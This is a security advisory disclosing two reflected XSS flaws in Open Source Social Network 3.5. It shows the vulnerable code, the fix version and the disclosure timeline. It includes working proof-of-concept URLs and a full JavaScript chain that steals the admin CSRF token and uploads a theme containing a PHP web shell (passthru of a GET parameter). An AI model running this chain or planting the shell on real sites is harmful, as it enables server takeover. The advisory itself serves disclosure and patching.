Open Source Social Network 3.5: XSS
Date: 2015-11-13 11:36:541. Introduction
| Affected Product: | Open Source Social Network 3.5 |
| Fixed in: | 3.6 |
| Fixed Version Link: | https://www.opensource-socialnetwork.org/downloads/ossn-v3.6-1443545762.zip |
| Vendor Contact: | https://www.opensource-socialnetwork.org/contact |
| Vulnerability Type: | XSS |
| Remote Exploitable: | Yes |
| Reported to vendor: | 09/29/2015 |
| Disclosed to public: | 11/13/2015 |
| Release mode: | Coordinated release |
| CVE: | n/a |
| Credits | Tim Coen of curesec GmbH |
2. Overview
There are two reflected XSS vulnerabilities in Open Source Social Network 3.5. With this, it is possible to inject JavaScript keyloggers, or to bypass CSRF protection, which in this case may lead to code execution.
3. XSS 1
CVSS
Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
Proof of Concept
http://localhost/ossn/search?q='"></script><script>alert(1)</script>
Code
/ossn/themes/default/plugins/menus/search.php
$menus = $params['menu'];
echo "<div class='ossn-menu-search'>";
echo '<div class="title">' . ossn_print('result:type') . '</div>';
foreach ($menus as $menu => $val) {
foreach ($val as $link) {
$menu = str_replace(':', '-', $link['text']);
$icon = ossn_site_url() . "components/OssnSearch/images/{$menu}.png";
$text = ossn_print($link['text']);
$link = $link['href'];
echo "<li><a href='{$link}'>
<img src='{$icon}' />
<div class='text'>{$text}</div>
</a>
</li>";
}
}
echo '</div>';
4. XSS 2
CVSS
Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
Proof of Concept
http://localhost/ossn/home?offset=2&foo='"></script><script>alert(1)</script>
Code
/ossn/themes/default/pagination/view.php
if (count($_GET)) {
$args_url = '';
foreach ($_GET as $key => $value) {
if ($key != 'page') {
$args_url .= '&' . $key . '=' . $value;
}
}
}
[...]
$url = "?offset={$first}{$args_url}";
echo "<li><a href='{$url}' class='ossn-pagination-page'>".ossn_print('ossn:pagination:first')."</a></li>";
5. XSS to Code Execution
Description
Because the backend allows the upload of PHP files, the XSS vulnerabilities can lead to code execution.
Proof of Concept
http://localhost/ossn/search?q='"><script src=http://localhost/s.js></script>
/s.js:
var csrfProtectedPage = 'http://localhost/ossn/administrator/theme_installer';
var html = get(csrfProtectedPage);
document.body.innerHTML = html;
var token = document.getElementsByName("ossn_token")[0].value;
var timestamp = document.getElementsByName("ossn_ts")[0].value;
submitRequest(token, timestamp);
function get(url) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", url, false);
xmlHttp.send(null);
return xmlHttp.responseText;
}
function submitRequest(token, timestamp) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/ossn/action/admin/theme_install", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1441530840601255132539565608");
xhr.withCredentials = true;
var body = "-----------------------------1441530840601255132539565608\r\n" +
"Content-Disposition: form-data; name=\"ossn_ts\"\r\n" +
"\r\n" +
"" + timestamp + "\r\n" +
"-----------------------------1441530840601255132539565608\r\n" +
"Content-Disposition: form-data; name=\"ossn_token\"\r\n" +
"\r\n" +
"" + token + "\r\n" +
"-----------------------------1441530840601255132539565608\r\n" +
"Content-Disposition: form-data; name=\"theme_file\"; filename=\"mycustomtheme.zip\"\r\n" +
"Content-Type: application/x-zip-compressed\r\n" +
"\r\n" +
"PK\x03\x04\x14\x03\x00\x00\x00\x00\xe5x\x3cG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00mycustomtheme/PK\x03\x04\n" +
"\x03\x00\x00\x00\x00\xbcx\x3cG\xf6+\xec\x8e\x1c\x00\x00\x00\x1c\x00\x00\x00\x15\x00\x00\x00mycustomtheme/404.php\x3c?php passthru($_GET[\'x\']);\n" +
"PK\x03\x04\n" +
"\x03\x00\x00\x00\x00\xe1x\x3cG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00mycustomtheme/ossn_theme.phpPK\x03\x04\n" +
"\x03\x00\x00\x00\x00\xe5x\x3cG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00mycustomtheme/ossn_theme.xmlPK\x01\x02?\x03\x14\x03\x00\x00\x00\x00\xe5x\x3cG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x80\xedA\x00\x00\x00\x00mycustomtheme/PK\x01\x02?\x03\n" +
"\x03\x00\x00\x00\x00\xbcx\x3cG\xf6+\xec\x8e\x1c\x00\x00\x00\x1c\x00\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81,\x00\x00\x00mycustomtheme/404.phpPK\x01\x02?\x03\n" +
"\x03\x00\x00\x00\x00\xe1x\x3cG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81{\x00\x00\x00mycustomtheme/ossn_theme.phpPK\x01\x02?\x03\n" +
"\x03\x00\x00\x00\x00\xe5x\x3cG\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81\xb5\x00\x00\x00mycustomtheme/ossn_theme.xmlPK\x05\x06\x00\x00\x00\x00\x04\x00\x04\x00\x13\x01\x00\x00\xef\x00\x00\x00\x00\x00\r\n" +
"-----------------------------1441530840601255132539565608--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
6. Solution
To mitigate this issue please upgrade at least to version 3.6:
https://www.opensource-socialnetwork.org/downloads/ossn-v3.6-1443545762.zip
Please note that a newer version might already be available.
7. Report Timeline
| 09/29/2015 | Informed Vendor about Issue |
| 09/29/2015 | Vendor releases fix |
| 11/13/2015 | Disclosed to public |